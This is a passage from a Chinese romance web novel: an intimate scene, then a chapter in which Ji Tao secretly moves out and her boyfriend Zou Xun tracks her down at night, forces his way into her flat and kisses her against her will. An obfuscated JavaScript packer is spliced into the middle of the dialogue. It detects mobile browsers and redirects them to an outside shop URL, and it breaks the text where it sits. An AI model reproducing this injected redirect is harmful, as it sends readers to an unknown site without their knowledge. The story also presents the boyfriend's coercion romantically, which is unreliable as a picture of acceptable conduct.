一个充盈着甜蜜汁水的吻——一颗葡萄,被太阳的烈焰抚摸过,身上的灼热由清凉的夜风平息,它积蓄着糖分,不知多少时日,就为了这一秒破裂时的甜蜜。嘴唇正中心,那一点最美最甜。甘甜缓慢渗进浓稠的黑暗。白昼酿成汁,黑夜凝作蜜,一秒可抵千年。 可是还不够。“再给我。”季桃命令。 邹巡伸出手,向床头柜上去抓,打翻了碗,一阵青提滚落的声音,他坐起身。季桃攀着他胳膊,猛地把自己拉起来,长长的头发像一件披风张开,落在他肩上,又洒向他的背。她扯掉邹巡腰间的浴巾,跪在他腿上,绷直上身,扳住他脑袋,低头吻他,在他唇上吻到了狂喜和惊异。 季桃尝着这两种味道。滋味太好了,源源不断从邹巡唇上传到她嘴里。她吻得头晕目眩,吻得身体摇晃,摇摇欲坠。她长长的头发在邹巡光滑的脊背上拍来拍去,如波浪拍击岩石。终于,她用力将他向后推倒,趴在他身上,继续吻他。 邹巡把她掀起来,双手勒住她的腰,将她固定在身前,又绞住她的嘴。 过一会儿,他放松了些,手从她睡衣下探进去,重重地抚摸,宽松的睡衣盖在他胳膊上,晃晃荡荡的。再过一会儿,他的手从袖口伸出,抓住她的手臂。季桃不耐烦地扭着身体,一下子没脱出来,她愈加不耐烦,挥开手。 衣服重落了回去,他大大扯开衣领,去吻她的肩。 “睡觉不许穿套头衣服。”压低的声音从唇与皮肤碰触的间隙透出来——是时间间隙,并非距离,距离没有间隙。 她穿着一件他的旧短袖T。 你也别穿套头衣服,穿带纽扣的。季桃心道。她在脑中有血有肉地绘出一幅画:她拽掉他的领带,用嘴巴解开他的衬衫扣子,从上到下,一粒一粒。 季桃低头钻到邹巡脖子下,亲吻他,从锁骨间的一块小凹陷开始,沿着纽扣解开的轨迹。 同时,她脑中还模模糊糊浮动着酒店宴会厅内的场景:水晶吊灯挂在高高的穹顶,映在大理石地面上,灯和它的影子间,女人们像天鹅一样游弋,全身熠熠闪光,高脚玻璃杯清脆地碰撞……那些事物太虚幻了,绝无真实的力量,真实是此刻的黑暗,是汗液交融、身体颤动,是黑暗中低沉的喘息。 衣服确实碍事。 她在邹巡身上挺直身体,双臂一交叉,唰地将衣服褪至手腕,从头顶甩出去。她又俯身亲他。 有时她和邹巡玩,作出大胆放浪的样子,勾手指招他:“来,不要脸一把。”可到最后,总是她软软地藏在他怀里,不敢抬眼,全身都染上了一层粉红色。那如影随形、紧贴着身子的羞耻感,现在,被她一把扯了下去。 堕落的快感,沉沦的兴奋。 谁还不能浪一把,哪怕就这一次?季桃觉得自己成了一头母豹子。 两条野兽在床上翻滚,翻过来倒过去无数次,一次接一次将彼此扑倒。 季桃感觉自己像一条鞭子般抽紧了,她紧紧抓住邹巡。她的四肢能够无比柔软而无比有力,她能够变成一条鞭子,一节水草,一段细绳,抽打他,缠绕他,捆住他。解脱出来的唯一办法是纠缠得更深…… 她记得曾在哪儿看见一句话:如果一个女人近乎失禁般和一个男人做,那就表示她决心要离开他了。 不过,邹巡一定没看过这句话。 45. 骚扰 接下来的周一周二,季桃借口有事,每天不到中午便请假离开公司。她找中介集中看了一批房源,选中一个一居室小公寓:租金略高,但租户不那么复杂,大都是在附近上班的白领,而且房间还算干净。她和房东签好合同,付了押金和三个月租金。 她又找领导请了一整天假。领导答应得很痛快,以至于她想,再请时间长一点或许也可以。但她转念想,等把来自冯女士的钱全部还回去,再把来自神明的钱拿出一半,自己账户就没剩下多少了,她需要一份稳定的工作。 周三这天是平安夜,不过,季桃不喜欢凑热闹过节日,包括西洋节日和传统节日,邹巡也知道。季桃只喜欢元旦,因为是新的一年开始,还因为是邹巡的生日。 马上会有一个新的开始,但是这个生日没法给他过了。季桃想。 反正今天他们没有特别的安排。早上,邹巡把她放在公司门口。她说:“小心点儿开。”摇了摇手。邹巡则冲她笑,笑意像星星在他眼中闪烁,当他扭过头,微笑还停留在嘴角边。时间仿佛回到了他们刚买这辆车时。 看邹巡走远后,季桃赶快过马路,找辆单车骑回去。 一进门,她踢掉鞋,快快开始收拾,约好搬家公司一点钟到,她得在中午前把要搬的东西都整理出来。 就是些衣服鞋子,没有大件,本来一辆小货车就能搞定,用不着搬家公司。但不愿受劳累还在其次——季桃希望尽可能迅速、利落地搬离,不想再横生枝节。 先从重要物品开始,季桃拉开抽屉,看到那张接收“无尽星辉”转账的银行卡,轻轻笑了,把它和其它证件一齐塞进随身的提包里。 接下来是些饰品,珠珠串串的东西。季桃以为自己不算太爱戴首饰,却在不知不觉中积攒了不少。首饰匣子由一只铁皮饼干盒充当,太大,塞不进提包,也不放心交给搬家工,于是季桃找个小袋,把里面的东西抓出来放进袋里,空盒子放在一边。 这时她想起邹巡送的项链。项链是18K金,毕竟值些钱,她不能带走。她又找一个小纸盒,取出项链放在盒子里,把盒子放回抽屉。 电子产品几乎全部是邹巡买的,虽然很多是她在用,但除了手机和她的笔记本,其它不用带。 衣服前段时间断舍离过一次,数量减少了三分之一,剩下的也都整理好了,从柜子拿出来就行。 然后是杂物、书等等。部分东西,她的和邹巡的混在一起,季桃尽量细致,害怕有错漏——不然再回来取或送,好像是藕断丝连,故意制造见面机会。 两三个小时一晃就过去了,季桃累得满身是汗。她想起自己搬来这里的情形。那还是买车之前,邹巡借了同事的车,停在宿舍楼下,把她的东西搬下楼,车开到这边,又搬上楼。全程她只在旁边看着,邹巡说:“你别动,一点儿都别动。”他看上去也不累,轻轻松松的,大长腿一迈就上了五楼。当时那么轻松,那么喜悦…… 没工夫发感慨,时间到了。季桃跑到小区门口,接搬家公司的车进来。 师傅带来了大纸箱,季桃同他一起把东西放进去,用胶带封好。 师傅搬箱子下楼,季桃站在屋里,四处再看一遍。终于,她确信再没有什么需要她回到这儿,她轻轻关上门。 新找的公寓总面积二十八平米,全部家具是张一米三的床,一只床头柜,一个写字桌,一个嵌入式两门衣柜,一个方桌和两把椅子。 季桃把水杯摆在桌上,毛巾挂好,然后,将包里的东西掏出来一一放入写字桌抽屉。 看见装首饰的小袋时,她想起饼干盒刚好装在已经打开的箱子里,她起身拿来盒子放进抽屉,把首饰统统倒进去。 有个粉红色的东西莹莹一闪。 季桃一愣,把它捏起来。上午匆匆忙忙的,也没留神,以为吊坠和链子挂在一起放进盒子去了,原来只是单单还回去一条链子。 季桃看着手里一闪一闪的小东西。 算了,邹巡肯定不会拿它再送人,这东西对他完全没用。就当留个念吧,季桃将坠子丢进抽屉深处。 刚才坐在车上看见不远处正好有家大超市,她去买了床单被子。 新床单带着股生产车间的机器味道,季桃懒得理会了,强撑着再打开一只箱子取出睡衣,冲了个澡,一头倒在床上。她实在精疲力尽。 但也并没睡着。躺二十分钟,就到了下午四点半,她给邹巡发消息:同事喊我一起吃饭,坐她的车,下班不用接我。 邹巡回:好。好好吃,好好玩。晚上去接你。 这之后,季桃躺不下去了,她想起除过早上吃了块面包,这一天还没吃任何东西,饿,但饿过了的感觉。她去楼下转了转,也不知想吃什么,结果还是买了面包和酸奶。 吃完,她坐在床上,把手机放在面前,盯着它。 邹巡几时发现,取决于他几点到家。 今天正好是平安夜,年轻人多是要出去玩的,邹巡公司肯定不会安排加班。早上他也没说加班或有事,看来原本是没有约会。现在,他有空闲了,会不会临时约着吃饭? 好吧,姑且算他不会约会,姑且算他也不会独自在外头吃饭,再考虑今天路上比平时略堵,同时还要考虑他不用接她,比平日走得路程短——一总算下来,他差不多能在六点一刻到六点半间到家。这就是他发现的最早时间。 不到两个小时。 客厅的东西她没怎么动,除非邹巡一进门就发现她的拖鞋和鞋架上几双常穿的鞋没了。他会发现吗? 或者,他会发现桌上一对迪士尼情侣杯不见了。两只杯子都是粉红色,让她想起第一次见面时两人喝的粉粉的奶茶。杯子上的米奇和米妮摆出互相亲吻的造型,只拿走米妮当然不合适,所以她把两只都拿走了。反正邹巡不大常用,他喜欢直接喝瓶装水。 要不然,等他走进卧室或卫生间,一定会发觉的。 季桃的心咚咚地跳起来。 她不知邹巡会是何反应。是坐在沙发上,慢慢思考眼前的情况,还是到处翻找,去看看冰箱上有没有贴着字条,还是立即打电话给她? 但他肯定会做出反应,彼此心照,假装无事发生,就坡下驴,趁机分手,那不是他的性格。或早或迟,今天晚上他一定打来电话。 季桃越来越紧张。屏幕黑了,她没有再触亮它,但她是盯着时间一分一秒走过去。 屋子渐渐昏暗。昏暗中,邹巡的名字忽一下划亮屏幕,几乎就在同时——但季桃还是察觉出一个短之又短的间隔——铃音响起。 等了一拍心跳,季桃清清嗓子,接通电话,轻轻“喂”一声,那头传来邹巡冷冰冰的声音:“季桃,你应该学学怎么和人分手,你想甩了我没问题,但不是这么个甩法。” 季桃从没听过他这种音调,不过大概赶不上他的神情冰冷,打雷不吓人,吓人的是炸雷前一道无声的闪电。好在她毕竟不用和他对视,并不怎么着慌。 她一时没说出话另有原因:呆坐着想了半天,脑子里过电影般,细节栩栩如生,画面中只有一个人的神态、动作——邹巡。可这不是独角戏,她自己也在其中。她忘记了最关键的——还没有人给季桃这个角色设计好台词。 “我知道,邹巡,你说个时间地点吧,我当面和你说清楚。”她终于说。 “就这儿,你现在回来。” 季桃不语。 过了一会儿,邹巡语气放缓,说:“你在哪儿,我去接你。” “不行,太晚了,明天我去找你。” “现在才六点零九分。”邹巡笑着说。 “我实在累得很,明天行不行。” “那我过去,你在哪儿?” “今天真不行,你别过来,明天吧,明天下班后。” “你到底在哪儿?保什么密,还怕我把你怎么样吗?” “我挂了。” 邹巡又笑起来:“收拾得很干净嘛,谁帮你搬的家?”没有回答,停了停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089585|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他说,“别拿你同事当挡箭牌,我问得出来。” “我自己搬的,我找的搬家公司。” 邹巡的声音陡然变得严肃:“季桃,你告诉我,你到底搬到哪里去了?找的哪家公司,师傅可靠不可靠,他是不是知道你哪层哪户,知道你一个人住?” “我和别人一起住,不是一个人。”季桃撒谎。 话音未落,邹巡挂断了电话。 季桃吁出一口气。就让他误会、生气吧。刚开始肯定要难受的,过了这一夜,明天就可以心平气和讲清楚,她和邹巡的一段,就可以画上句号了。 她拉好窗帘,打开灯,又收拾一会儿。明天下班去见邹巡,外套不用换了,里面不能穿今天穿的毛衫,最好换件郑重点的。季桃看着另外几只箱子发了一忽呆,实在不想动它。 她再次倒在床上。换了新地方一时还不适应,有点儿睡不着,但确实太累,于是躺着,抱着被子,半睡半醒的。 迷迷糊糊中,听见有人咚咚咚地敲门,季桃惊醒,随即听见了邹巡的声音。 “季桃,开门。季桃!” 她跳下床,半路停住,喊了一句:“我已经睡觉了。” “睡了起来,给我开门。”邹巡不客气地说,又开始拍门。 季桃打开灯,走到门边:“不是说好明天再说吗?” 外头的动静停了停,很快,邹巡说:“明天再说可以,你先开门。” “不行,太晚了。我明天找你,肯定找你。你走吧,我要睡觉了。” “你要是不开门我就一直敲,你睡不了。”声音又高了。 “你再不走我报警了。”季桃尽力平静地说。 邹巡在门外冷笑:“报吧。”他说,“有本事你今天能拦住让我不见你,我就信你能拦住真正的变态,我也好放心。” 季桃啼笑皆非,她怕隔壁的人听见笑话,只好开门。 刚拉开一道缝,邹巡一步挤进来,将她胳膊一拽,踢上门,扳住她的后脑勺,另一只手一把将她推在墙上。季桃想要挣脱,他抽出在她脑后的手,捉住她的肩膀,用额头用力抵着她的额头。 “为什么走?” 他抬起头看她的眼睛,不等她答,嘴巴又落下,快,狠,准,死劲地碾住她的嘴,把她休息后积蓄的力气一口气吸干了。 他再去吻她的下巴,她的眼睛,吻她脑门上刚才被顶疼了的一块。最后,烫烫的气息滚到耳朵边:“我没带东西,你这儿有没有?”他啄着她的耳朵,声音含混不清,“没有你就跟我回去。” 季桃猛然醒悟他是说安全套,她突然有了劲,猛力推开他。 “我和你分手了!” “我可没答应呢。”邹巡迅速恢复了自持,从两步外看着她。 “不需要你答应。好合好散懂不懂?” “季桃你听听你的话,好合好散,你懂不懂?” “至少我知道不能半夜三更摸到别人家里,骚扰别人!” “好,那现在好好说。”邹巡朝屋内走去,把写字台前的椅子一提,提过几只箱子,放在床跟前,坐下。 床头柜上放着那只米妮杯子,邹巡问:“米奇呢?你想把我的杯子拿给谁用?” “你要是想要可以拿回去。” “你也一起回去。” “我永远不会回去了。”季桃觉得“永远”这种词有点尬,演电视剧似的,但她确实不会回去了。 “决心下得够彻底的。”邹巡冷哼,“我听听你的缘由。——为什么?” 季桃走到床边,没坐下。 “我已经认真考虑了,咱们两个不适合。” “怎么认真考虑的,哪里不适合,理由呢?” “要什么理由?我不喜欢你,就是理由。” “你不喜欢我了?为什么?”邹巡执着地追问。 “你知道为什么。” 邹巡眼都不眨一下地望着她:“我想听你亲口说出来。”